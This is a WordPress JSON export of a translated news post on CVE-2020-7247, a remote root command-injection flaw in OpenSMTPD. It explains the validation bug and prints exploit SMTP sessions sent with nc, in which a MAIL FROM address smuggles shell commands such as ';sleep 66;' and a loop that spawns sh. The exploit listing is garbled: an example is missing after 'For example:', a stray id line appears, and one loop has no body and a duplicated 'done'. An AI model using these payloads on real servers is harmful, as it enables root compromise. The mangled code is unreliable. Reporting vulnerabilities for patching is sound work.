{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"A vulnerability in OpenSMTPD that allows remote code execution with root privileges.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>In the developing project OpenBSD mail server <noindex><a rel=\"nofollow\" href=\"https:\/\/opensmtpd.org\/\">OpenSMTPD<\/a><\/noindex> identified <noindex><a rel=\"nofollow\" href=\"https:\/\/www.openwall.com\/lists\/oss-security\/2020\/01\/28\/3\">critical vulnerability<\/a><\/noindex> (CVE-2020-7247), allowing remote execution of shell commands on the server with root user privileges. The vulnerability was discovered during a follow-up audit conducted by Qualys Security (the previous audit of OpenSMTPD <noindex><a rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=43090\">was conducted<\/a><\/noindex> in 2015, while the new vulnerability has been present since May 2018). The issue <noindex><a rel=\"nofollow\" href=\"https:\/\/www.mail-archive.com\/misc@opensmtpd.org\/msg04850.html\">has been closed<\/a><\/noindex> is present in the release of OpenSMTPD 6.6.2. All users are recommended to urgently install the update (for OpenBSD, the fix can be installed via syspatch).<\/p>\n<p>Two attack vectors have been proposed. The first works in the default configuration of OpenSMTPD (accepting requests only from localhost) and allows the issue to be exploited locally when the attacker has access to the local network interface (loopback) on the server (for example, in hosting systems). The second variant appears when configuring OpenSMTPD to accept external network requests (a mail server that receives external mail). Researchers have prepared a working prototype exploit that functions successfully with both the OpenSMTPD version included in OpenBSD 6.6 and the portable version for other operating systems (tested in Debian Testing).<\/p>\n<p>The issue is caused by an error in the smtp_mailaddr() function, which is called to validate the values in the 'MAIL FROM' and 'RCPT TO' fields, determining the sender\/recipient during the connection with the mail server. To check the part of the email address before the '@' symbol, the function valid_localpart() is called within smtp_mailaddr(), which considers the following characters as valid (MAILADDR_ALLOWED): !#$%&amp;\u2019*?^`{|}~+-=_ according to RFC 5322.<br \/>\nDirect string escaping is performed in the mda_expand_token() function, which only replaces the characters !#$%&amp;\u2019*?`{|}~ (MAILADDR_ESCAPE). The prepared string from mda_expand_token() is then used when calling the mail delivery agent (MDA) via the command 'execle('\/bin\/sh', '\/bin\/sh', '-c', mda_command,...'. If a message is placed in mbox through \/bin\/sh, the command '\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}' is executed, where the value '%{mbox.from}' includes escaped data from the 'MAIL FROM' parameter. <\/p>\n<p>The essence of the vulnerability is that smtp_mailaddr() has a logical error that causes it to return a successful verification code if an empty domain is passed in an email, even if the part of the address before '@' contains invalid characters. Subsequently, during string preparation, the mda_expand_token() function does not escape all possible shell special characters, only those that are allowed in email addresses. Thus, to execute their command, it is sufficient to use the ';' and space characters in the local part of the email, which are not included in the MAILADDR_ESCAPE set and are not escaped. For example:<\/p>\n<p>In this case, the attack possibilities are limited by the fact that the local part of the address cannot exceed 64 characters, and the special characters '$' and '|' are replaced with ':' during escaping. To bypass this limitation, the fact that the body of the email is passed after executing \/usr\/libexec\/mail.local through stdin can be leveraged, meaning that through address manipulation, it is only possible to invoke the command interpreter sh and utilize the email body as a set of instructions. As service SMTP headers are indicated at the beginning of the email, it is suggested to use the read command in a loop to skip them. The working exploit takes approximately this form:<\/p>\n<p>   $ nc 127.0.0.1 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:&lt;;sleep 66;&gt;<br \/>\n   RCPT TO:&lt;root&gt;<br \/>\n   DATA<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p>After this session, OpenSMTPD will execute a shell command when delivering to mbox <\/p>\n<p>   \/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n<p>echo -n '($i) ' &amp;&amp; id || break<\/p>\n<p>   $ nc 192.168.56.143 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:&lt;;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;&gt;<br \/>\n   RCPT TO:&lt;root@example.org&gt;<br \/>\n   DATA<br \/>\n   #0<br \/>\n   #1<br \/>\n   \u2026<br \/>\n   #d<br \/>\n   for i in W O P R; do<br \/>\n        done &gt; \/root\/x.`id -u`.$$$<br \/>\n   done &gt; \/root\/x.`id -u`.$$$<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p><noindex><a rel=\"nofollow\" name=\"link\"><\/a><\/noindex><\/p>\n<p>Source: <a \ncontent=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=52267\">opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-01-28T21:00:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-02-18T11:03:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerability in OpenSMTPD allows remote code execution with root privileges | ProHoster","description":"A vulnerability has been identified in the OpenSMTPD mail server within the developing OpenBSD project.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}